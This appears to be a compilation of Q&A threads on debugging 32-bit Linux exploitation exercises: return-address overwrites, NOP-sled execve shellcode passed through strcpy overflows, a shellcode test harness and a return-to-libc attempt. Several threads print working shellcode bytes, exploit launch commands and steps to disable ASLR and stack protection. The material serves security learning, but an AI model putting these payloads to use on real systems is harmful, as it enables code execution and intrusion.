Segfault shows up only in GDB - c

Why does the following program not crash when it is executed, but crash with a segfault in GDB? Compiled with GCC 4.5.2 on a 32-bit x86 (Athlon 64, if it should matter).
#include <stdio.h>
#include <string.h>
int modify(void)
{
__asm__("mov $0x41414141, %edx"); // Stray value.
__asm__("mov $0xbffff2d4, %eax"); // Addr. of ret pointer for function().
__asm__("mov %edx, (%eax)");
}
int function(void)
{
modify();
return 0;
}
int main(int argc, char **argv)
{
function();
return 0;
}
The mov $0xbffff2d4, %eax was determined using GDB to find the address where the return pointer was stored for the "function" function. This will probably be different on a different system. ASLR was disabled for this.
When I execute the program, nothing happens. There is no report of a crash in dmesg either. However when I execute the same program in GDB:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
=> 0x41414141: Cannot access memory at address 0x41414141
This is what I expect should happen when I execute the program normally as well. I do indeed get segfaults as usual when other programs crash, and I can easily write a small program that crashes with a nice segfault. But why does this particular program not crash with a segfault?

Even with full ASLR disabled, you may still get randomized stack and heap. You can turn that off globally using the norandmaps kernel boot parameter or at runtime by setting /proc/sys/kernel/randomize_va_space to zero. It's also part of the process personality.
In GDB, you can tweak this using the disable-randomization setting:
(gdb) help set disable-randomization
Set disabling of debuggee's virtual address space randomization.
When this mode is on (which is the default), randomization of the virtual
address space is disabled. Standalone programs run with the randomization
enabled by default on some platforms.
As a small test program to illustrate this, you can print the address of a local variable, such as:
#include <stdio.h>
int main(int argc, char **argv)
{
printf("%p\n", &argc);
return 0;
}

Related

Why is there the need to use a precise return address for shellcode execution?

I'm trying to understand why in order to successfully execute my shellcode payload, I need to use a specific return address inside the stack.
If I use a different address that is still inside the stack, I either get a SIGSEGV segmentation fault or a SIGILL illegal instruction.
First of all, I have deactivated ASLR on my OS by doing this :
echo 0 > /proc/sys/kernel/randomize_va_space
Here is my vulnerable C code :
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void func (char *arg) {
char buffer[64];
strcpy(buffer, arg);
printf("%s\n", buffer);
}
int main(int argc, char *argv[])
{
func(argv[1]);
return 0;
}
I compiled it in 32 bit using gcc on a 64 bit machine with the following line :
gcc -z execstack -m32 buffer.c -g -o buffer -fno-stack-protector
I thus have an executable stack so that the shellcode is executable and also no stack protector to allow stack smashing.
Here is my shellcode (NOP|shellcode-payload|return-address) :
"\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff"
I feed this shellcode as an input to the buffer binary using Python2 to gdb as follow :
gdb --args ./buffer $(python2 -c 'print("\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff")')
By putting a break func in gdb, I can print the following bytes showing a bit of the stack.
If I put at the end of the shellcode any return address that is not in the range : 0xffffd521-0xffffd539. I get either a SIGSEGV or SIGILL why is that ?
For instance, 0xffffd520 is a valid address inside the stack, for what reason it does not work ?
It's not really anything to do with your program or your shellcode, but with the way you are running it. $(...) in shell splits its result into multiple arguments at whitespace, so if the output of python contains whitespace bytes, argv[1] will only get the part of the payload before the first such byte. The address 0xffffd520 has 0x20, space, as one of its bytes, so that'll result in argv[1] containing a truncated version of your payload, which in particular won't contain the correct return address at all, hence crashing.
You should use quotes to force the entire output to be a single argument: "$(python2 ... )"

Buffer Overflow won't work get Seg Fault

I try to get a Buffer Overflow to work. I have the following simple vulnerable Program:
int main(int argc, char** argv) {
char buffer[80];
strcpy(buffer,argv[1]);
return 1;
}
With the following Program i want to get a Shell with an Buffer Overflow.
char shellcode[]=
"\x31\xc0"
"\x50"
"\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69"
"\x89\xe3"
"\x99"
"\x52"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80";
char retaddr[] = "\xa8\xd5\xff\xff";
#define NOP 0x90
int main() {
char buffer[96];
memset(buffer, NOP, 96);
memcpy(buffer, "EGG=",4);
memcpy(buffer+4,shellcode,24);
memcpy(buffer+88,retaddr,4);
memcpy(buffer+92, "\x00\x00\x00\x00",4);
putenv(buffer);
printf("%p\n", buffer);
system("/bin/sh");
return 0;
}
This Program creates an Buffer with the shellcode at Beginning. After the Shellcode are some NOP Instruction and then the value that overrides the Return Address and points to the beginning of the Shellcode. Then it creates an Environment Variable with the buffer and starts a Shell.
If i run that program the shell started and the environment Variable is set. But if i try to run the vulnerable Program with the environment Variable as Parameter i get an segmentation fault.
Here are some Screens with gdb:
I don't have enough reputation to post images directly so here is the link to an imgur album with the 4 pictures in it.
The first picture shows the Stack before the strcpy happens.
The second one shows argv 1
The third picture shows the stack after the strcpy.
If you can see 0xf7e00497 is the return address. If i disassamble this address the code for the libc function is shown.
In the third picture you see that this address is overridden by the address 0xffffd5a8 witch points to the top of the stack.
In Picture Number 4 you see the segmentation fault if the programm countinous to run.
Can anybody tell my why? Everything seems to be okay?
I compiled both programmes with the -fno-stack-protector option of gcc.
Thanks #type1232, the issue was that the stack is not executable.
With execstack -s vulProg, the shellcode will run.

Why am I getting a segmentation fault? (Testing Shellcode)

I wrote a simple ASM file and ran it in a C file I'd written. I got a segentation fault. However, when I execute the compiled ASM file, I get no error.
I am running 64 bit and using 32 bit shellcode. Is that the issue?
It can't be, because I'm getting a segmentation fault with this:
char shellcode[] = "\x90"; //simple NOP in ASM
int main(int argc, char **argv)
{
int (*ret)();
ret = (int (*)()) shellcode;
(int)(*ret)();
}
Can someone please run this and tell me whether or not they get a segmentation fault. I have used 3 or 4 other C files as well. None have worked.
Update:
((void(*)(void))code)();
Seems to be working in place of those three lines.
As mentioned above the shellcode is in non-executable memory. Try recompiling the program with the -fno-stack-protector and the -z execstack flags enabled.
That is:
gcc -fno-stack-protector -z execstack -O OutputFileName yourShellCode.c
Two issues:
The shell code might be in non-executable memory. In order to make it executable, you need to either ask the OS to make it executable (e.g. with mprotect(2) or VirtualProtect()), or allocate new executable memory and copy it there (e.g. with mmap(2) or VirtualAlloc().
Your shell code doesn't return/exit. After the CPU executes your NOP there (0x90), it's going to keep on executing code in the memory that comes after that NOP instruction. Most likely, this will crash quickly, but it might do other random, unpredictable things.
To fix #2, you need to explicitly either execute a return instruction (C3 on x86/x86-64) to return from your shell code, or you need to do something which never returns, like call the exit(3) function.
Maybe you should change your variable :
char shellcode[]
To:
const char shellcode[]
Like in this question:
segmentation-fault-error-when-exe-c
This one worked for me! :)
Try put the shellcode in the main function to make it a local variable:
int main(int argc, char **argv)
{
const char shellcode[] = "<your shellcode>";
int (*ret)();
ret = (int (*)()) shellcode;
(int)(*ret)();
}
Then compile it with flags -fno-stack-protector and -z execstack:
gcc <filename>.c -fno-stack-protector -z execstack -o <filename>
I found this idea on stackexchange and it worked for me.

Can't execute Shellcode --> (Speicherzugriffsfehler (Speicherabzug geschrieben))

i have this function:
char code[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
(this code is from: shellcode tutorial)
so i compiled and execute it, but i only get this message: Speicherzugriffsfehler (Speicherabzug geschrieben).
Why i don't get something back, only this error message?
p.s.: my system is an ubuntu x86 pc. the shellcode should work with it. i compiled it with gcc and with gcc-4.5, both same error...
Your code variable is an array that's part of your program's initialized data (.data) segment. When your program is loaded by the OS, the loader reads and executes the load commands from your executable file. One of those commands is "load the following data (a segment named .data) into memory".
Ordinarily, the .data segment is loaded as a non-executable segment, meaning that the memory there cannot be executed. Therefore, if you try to execute code from there by jumping to it, like you did, then it will crash with a segmentation fault.
There are a couple of ways to work around this. You can tell the linker to make the .data segment executable (not a good idea). You can tell the compiler to put the code variable into the .text segment instead (the segment used for all of your program's regular code). You can tell the compiler and linker to make a new executable segment and put code into that. All of these are tricky.
The best solution, is to specifically allocate your own executable memory at runtime and copy the shellcode into that. That completely avoids any potential compiler/linker issues, although it does add a small runtime penalty. But some OSes don't allow memory to be both writable and executable at the same time; so you'd first have to make it writable, copy the shellcode in, and then make it executable.
The way you control memory permissions at runtime is with the mprotect(2) call. So here's a good way to do it:
#include <string.h>
#include <sys/mman.h>
char shellcode[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";
// Error checking omitted for expository purposes
int main(int argc, char **argv)
{
// Allocate some read-write memory
void *mem = mmap(0, sizeof(shellcode), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
// Copy the shellcode into the new memory
memcpy(mem, shellcode, sizeof(shellcode));
// Make the memory read-execute
mprotect(mem, sizeof(shellcode), PROT_READ|PROT_EXEC);
// Call the shellcode
int (*func)();
func = (int (*)())mem;
(int)(*func)();
// Now, if we managed to return here, it would be prudent to clean up the memory:
munmap(mem, sizeof(shellcode));
return 0;
}
By default gcc will compile applications as having nonexecutable stacks. What you're seeing is a segmentation violation because your stack is marked nonexecutable but you're trying to execute code on the stack. You can verify by running your application in gdb and checking where it dies, for instance:
=> 0x601060 : jmp 0x60107b
This is the entry point of your shellcode. To make it so it doesn't segfault, you can disable exectstack by doing the following:
gcc -z execstack source.c

return to lib_c buffer overflow exercise issue

I'm supposed to come up with a program that exploits the "return to libc buffer overflow". This is, when executed, it cleanly exits and brings up a SHELL prompt. The program is executed in a bash terminal. Below is my C code:
#include <stdio.h>
int main(int argc, char*argv[]){
char buffer[7];
char buf[42];
int i = 0;
while(i < 28)
{
buf[i] = 'a';
i = i + 1;
}
*(int *)&buf[28] = 0x4c4ab0;
*(int *)&buf[32] = 0x4ba520;
*(int *)&buf[36] = 0xbfffff13;
strcpy(buffer, buf);
return 0;
}
Using gdb, I've been able to determine the following:
Address for "system": 0x4c4ab0
Address for "exit": 0x4ba520
The string "/bin/sh" resides in memory at: 0xbfffff13
I also know, using gdb, that inserting 32 "A"'s into my buffer variable will overwrite the return address. So given that the system call is 4 bytes, I start by filling in my memory "leak" at 28 bytes. At the 28th byte, I begin my system call, then exit call, and finally add my "/bin/sh" memory location.
When I run the program, however, I get the following:
sh: B���: command not found
Segmentation fault (core dumped)
I'm really not sure what I'm doing wrong...
[EDIT]: I was able to get the string "/bin/sh" by exporting a environmental variable:
export MYSHELL="/bin/sh"
You can search in libc for a fixed address of a /bin/sh string. Run you program in gdb then:
> (gdb) break main
>
> (gdb) run
>
> (gdb) print &system
> $1 = (<text variable, no debug info>*) 0xf7e68250 <system>
>
> (gdb) find &system,+9999999,"/bin/sh"
> 0xf7f86c4c
> warning: Unable to access target memory at 0xf7fd0fd4, halting search.
> 1 pattern found.
Good luck.
The problem in your program is the pointer you suppose to point to the /bin/sh string is actually not pointing to /bin/sh.
You get this address using gdb. But even without stack randomization, the stack address of your shell variable is different when the program is run under gdb than without gdb. gdb is putting some debug information into the stack and this will shift your shell variables.
To convince yourself here is a quick and dirty program to find a /bin/sh string in the stack:
#include <stdio.h>
#include <string.h>
int main(void)
{
char s[] = "/bin/sh";
char *p = (char *) 0xbffff000;
while (memcmp(++p, s, sizeof s));
printf("%s\n", p);
printf("%p\n", p);
}
First double check that stack randomization is disabled:
ouah#maou:~$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 0
ouah#maou:~$
Ok, no stack randomization.
Let's compile the program and run it outside gdb:
ouah#maou:~$ gcc -std=c99 tst.c
ouah#maou:~$ ./a.out
/bin/sh
0xbffff724
ouah#maou:~$
Now let's run it under gdb:
ouah#maou:~$ ./a.out
/bin/sh
0xbffff724
ouah#maou:~$ gdb a.out -q
Reading symbols from /home/ouah/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/ouah/a.out
/bin/sh
0xbffff6e4
Program exited normally.
(gdb) quit
ouah#maou:~$
As you can see the address of the /bin/sh string is different when the program is run inside or outside gdb.
Now what you can do is to use a variant of this program to find the true address of your string or a more elegant approach, get the address of a /bin/sh string directly from the libc (as you can guess there are a few occurrences).

Resources